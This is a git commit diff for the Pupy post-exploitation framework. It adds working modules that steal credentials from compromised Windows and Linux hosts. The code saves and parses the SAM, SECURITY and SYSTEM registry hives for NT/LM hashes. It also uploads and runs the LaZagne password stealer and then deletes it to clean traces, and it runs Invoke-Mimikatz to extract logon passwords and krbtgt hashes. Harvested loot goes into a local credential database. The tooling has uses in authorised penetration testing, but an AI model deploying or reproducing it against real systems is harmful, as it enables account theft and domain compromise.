new features

This commit is contained in:
Alessandro ZANNI 2016-07-27 19:24:31 +02:00
parent f3af4aa726
commit aa78f6874b
9 changed files with 3129 additions and 11 deletions

File diff suppressed because one or more lines are too long

View File

@ -15,7 +15,7 @@
from pupylib.PupyModule import *
from pupylib.PupyCompleter import *
from pupylib.utils.credentials import Credentials
from modules.lib.utils.shell_exec import shell_exec
from rpyc.utils.classic import download
@ -55,7 +55,7 @@ class CredDump(PupyModule):
for cmd in ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM /y", "reg save HKLM\\SECURITY %TEMP%/SECURITY /y", "reg save HKLM\\SAM %TEMP%/SAM /y"):
self.info("running %s..." % cmd)
self.log(shell_exec(self.client, cmd))
self.success("hives saved!")
self.success("hives saved!")
remote_temp=self.client.conn.modules['os.path'].expandvars("%TEMP%")
self.info("downloading SYSTEM hive...")
@ -107,11 +107,17 @@ class CredDump(PupyModule):
self.success("dumping LM and NT hashes...")
bootkey = get_bootkey(sysaddr)
hbootkey = get_hbootkey(samaddr,bootkey)
hashes = []
for user in get_user_keys(samaddr):
lmhash, nthash = get_user_hashes(user,hbootkey)
if not lmhash: lmhash = empty_lm
if not nthash: nthash = empty_nt
self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
hashes.append({'hashes': "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')), 'Tool': 'Creddump'})
db = Credentials()
db.add(hashes)
self.success("Hashes stored on the database")
self.success("dumping lsa secrets...")
secrets = get_file_secrets(os.path.join(rep, "SYSTEM"), os.path.join(rep, "SECURITY"), is_vista)

28
pupy/modules/creds.py Normal file
View File

@ -0,0 +1,28 @@
from pupylib.PupyModule import *
from pupylib.utils.credentials import Credentials
import os
__class_name__="Creds"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
# @config(category="admin")
class Creds(PupyModule):
""" database containing all passwords found """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="Creds", description=self.__doc__)
self.arg_parser.add_argument('--show','-S', action='store_true', help='print all passwords on the database')
self.arg_parser.add_argument('--flush', '-F', action='store_true', help='flush the entire database')
def run(self, args):
if args.flush:
warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
if warning == 'y':
Credentials().flush()
self.success("Database removed")
else:
self.warning("Nothing done")
elif args.show:
Credentials().show()

110
pupy/modules/lazagne.py Normal file
View File

@ -0,0 +1,110 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
from pupylib.PupyCompleter import *
from rpyc.utils.classic import upload
from pupylib.utils.credentials import Credentials
import tempfile
import subprocess
import os.path
__class_name__="LaZagne"
@config(cat="exploit")
class LaZagne(PupyModule):
"""
execute LaZagne (Windows / Linux)
"""
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="lazagne", description=self.__doc__)
def run(self, args):
platform=self.client.desc["platform"]
isWindows = True
if "Windows" in platform:
lazagne_path = self.client.pupsrv.config.get("lazagne","win")
elif "Linux" in platform:
isWindows = False
if "64" in self.client.desc["os_arch"]:
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
else:
lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
else:
self.error("Platform not supported")
return
if not os.path.isfile(lazagne_path):
self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
return
tf = tempfile.NamedTemporaryFile()
dst = tf.name
if isWindows:
remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
tfName = tf.name.split(os.sep)
tfName = tfName[len(tfName)-1] + '.exe'
dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
tf.file.close()
self.success("Uploading laZagne to: %s" % dst)
upload(self.client.conn, lazagne_path, dst)
if not isWindows:
self.success("Adding execution permission")
cmd = ["chmod", "+x", dst]
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
self.success("Executing")
cmd = [dst, "all"]
output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
self.success("%s" % output)
creds = self.parse_output(output)
db = Credentials()
db.add(creds)
self.success("Passwords stored on the database")
self.success("Cleaning traces")
self.client.conn.modules['os'].remove(dst)
def parse_output(self, output):
creds = []
toSave = False
ishashes = False
cpt = 0
for line in output.split('\n'):
if not toSave:
if "##########" in line:
user='%s' % line.replace('##########', '').split(':')[1].strip()
if "---------" in line:
category='%s' % line.replace('-', '').strip()
if " found !!!" in line:
toSave = True
cred = {}
else:
if not line or line == '\r':
if ishashes:
cpt+=1
if cpt > 1 or not ishashes:
toSave = False
ishashes = False
if cred:
cred['Tool']="LaZagne"
cred['System user'] = user
cred['Category'] = category
creds.append(cred)
else:
# not store hashes => creddump already does it
if not ishashes:
if "hashes: " in line:
ishashes = True
cpt = 0
else:
try:
key, value = line.split(':', 1)
cred[key] = value.strip()
except:
pass
return creds

View File

@ -20,10 +20,11 @@ def execute_powershell_script(module, content, function):
p.stdin.write("$a=Invoke-Expression %s | Format-Table -HideTableHeaders | Out-String\n" % function)
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
p.stdin.write("Write-Host $b\n")
# Get the result
output = ""
for i in p.stdout.readline():
output += i
output = base64.b64decode(output)
return output
p.stdin.write("exit\n")
return output

View File

@ -0,0 +1,163 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import os
import re
from modules.lib.windows.powershell_upload import execute_powershell_script
from pupylib.utils.credentials import Credentials
__class_name__="Mimikatz_Powershell"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
@config(compat="windows", category="admin")
class Mimikatz_Powershell(PupyModule):
"""
execute mimikatz using powershell
"""
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog="Mimikatz_Powershell", description=self.__doc__)
def run(self, args):
# check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
function = 'Invoke-Mimikatz'
output = execute_powershell_script(self, content, function)
self.success("%s" % output)
creds = self.parse_mimikatz(output)
db = Credentials()
db.add(creds)
self.success("Credentials stored on the database")
def parse_mimikatz(self, data):
"""
Parse the output from Invoke-Mimikatz to return credential sets.
This was directly stolen from the Empire project as well.
"""
# cred format:
# credType, domain, username, password, hostname, sid
creds = []
# regexes for "sekurlsa::logonpasswords" Mimikatz output
regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
hostDomain = ""
domainSid = ""
hostName = ""
lines = data.split("\n")
for line in lines[0:2]:
if line.startswith("Hostname:"):
try:
domain = line.split(":")[1].strip()
temp = domain.split("/")[0].strip()
domainSid = domain.split("/")[1].strip()
hostName = temp.split(".")[0]
hostDomain = ".".join(temp.split(".")[1:])
except:
pass
for regex in regexes:
p = re.compile(regex)
for match in p.findall(data):
lines2 = match.split("\n")
username, domain, password = "", "", ""
for line in lines2:
try:
if "Username" in line:
username = line.split(":",1)[1].strip()
elif "Domain" in line:
domain = line.split(":",1)[1].strip()
elif "NTLM" in line or "Password" in line:
password = line.split(":",1)[1].strip()
except:
pass
if username != "" and password != "" and password != "(null)":
sid = ""
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
if self.validate_ntlm(password):
credType = "hash"
else:
credType = "password"
# ignore machine account plaintexts
if not (credType == "password" and username.endswith("$")):
creds.append({'domain': domain, 'user': username, credType:password, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
if len(creds) == 0:
# check if we have lsadump output to check for krbtgt
# happens on domain controller hashdumps
for x in xrange(8,13):
if lines[x].startswith("Domain :"):
domain, sid, krbtgtHash = "", "", ""
try:
domainParts = lines[x].split(":")[1]
domain = domainParts.split("/")[0].strip()
sid = domainParts.split("/")[1].strip()
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
for x in xrange(0, len(lines)):
if lines[x].startswith("User : krbtgt"):
krbtgtHash = lines[x+2].split(":")[1].strip()
break
if krbtgtHash != "":
creds.append({'domain': domain, 'user': user, 'krbtgt hash': krbtgtHash, 'hostName': hostName, 'sid':sid, 'Tool': 'mimikatz'})
except Exception as e:
pass
if len(creds) == 0:
# check if we get lsadump::dcsync output
if '** SAM ACCOUNT **' in lines:
domain, user, userHash, dcName, sid = "", "", "", "", ""
for line in lines:
try:
if line.strip().endswith("will be the domain"):
domain = line.split("'")[1]
elif line.strip().endswith("will be the DC server"):
dcName = line.split("'")[1].split(".")[0]
elif line.strip().startswith("SAM Username"):
user = line.split(":")[1].strip()
elif line.strip().startswith("Object Security ID"):
parts = line.split(":")[1].strip().split("-")
sid = "-".join(parts[0:-1])
elif line.strip().startswith("Hash NTLM:"):
userHash = line.split(":")[1].strip()
except:
pass
if domain != "" and userHash != "":
creds.append({'domain': domain, 'user': user, 'hash': userHash, 'dcName': dcName, 'sid':sid, 'Tool': 'mimikatz'})
return creds
def validate_ntlm(self, data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False

View File

@ -22,6 +22,11 @@ sound_player = totem
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
[lazagne]
win=/usr/share/lazagne/laZagne.exe
linux_32=/usr/share/lazagne/LaZagne-32bits
linux_64=/usr/share/lazagne/LaZagne-64bits
[aliases]
info = get_info
pyexec = pyexec
@ -35,3 +40,4 @@ getpid = getpid
getppid = getppid
pwd = pyexec -c 'import os;print os.getcwd()'
#tasklist = shell_exec 'tasklist /v'
creds = creds -S

View File

@ -80,13 +80,17 @@ class ThreadPool(object):
def join(self):
while True:
allok=True
for t in self.thread_pool:
if t.isAlive():
t.join(0.5)
allok=False
if allok:
break
try:
allok=True
for t in self.thread_pool:
if t.isAlive():
t.join(0.5)
allok=False
if allok:
break
except KeyboardInterrupt:
print "Press [ENTER] to interrupt the job"
pass
def all_finished(self):
for t in self.thread_pool:

View File

@ -0,0 +1,65 @@
import os
import json
class Credentials():
def __init__(self):
ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "..", "db"))
dbName = 'creds.json'
# check if the db exists
self.db = ROOT + os.sep + dbName
if not os.path.exists(ROOT):
os.makedirs(ROOT)
if not os.path.exists(self.db):
f = open(self.db, "w")
f.write('{"creds": []}')
f.close()
# check if dictionnary already exists in dictionnary_tab
def checkIfExists(self, dictionnary, dictionnary_tab):
for d in dictionnary_tab:
shared_items = set(d.items()) & set(dictionnary.items())
if len(shared_items) == len(d):
return True
return False
def add(self, data):
with open(self.db) as json_db:
db = json.load(json_db)
for d in data:
if not self.checkIfExists(d, db['creds']):
db['creds'].append(d)
with open(self.db, 'w') as json_db:
json_db.write(json.dumps(db))
def show(self):
tool = ""
with open(self.db) as json_db:
data = json.load(json_db)
# List sorted by Tools
data = sorted(data['creds'], key=lambda d: d["Tool"], reverse=True)
for creds in data:
if "Tool" in creds:
if tool != creds["Tool"]:
print '\n---------- %s ---------- \n' % creds["Tool"]
tool = creds["Tool"]
del creds["Tool"]
if tool == 'Creddump':
for cred in creds:
if creds[cred]:
print '%s' % creds[cred]
else:
for cred in creds:
if creds[cred]:
print '%s: %s' % (cred, creds[cred])
print
print
def flush(self):
if os.path.exists(self.db):
os.remove(self.db)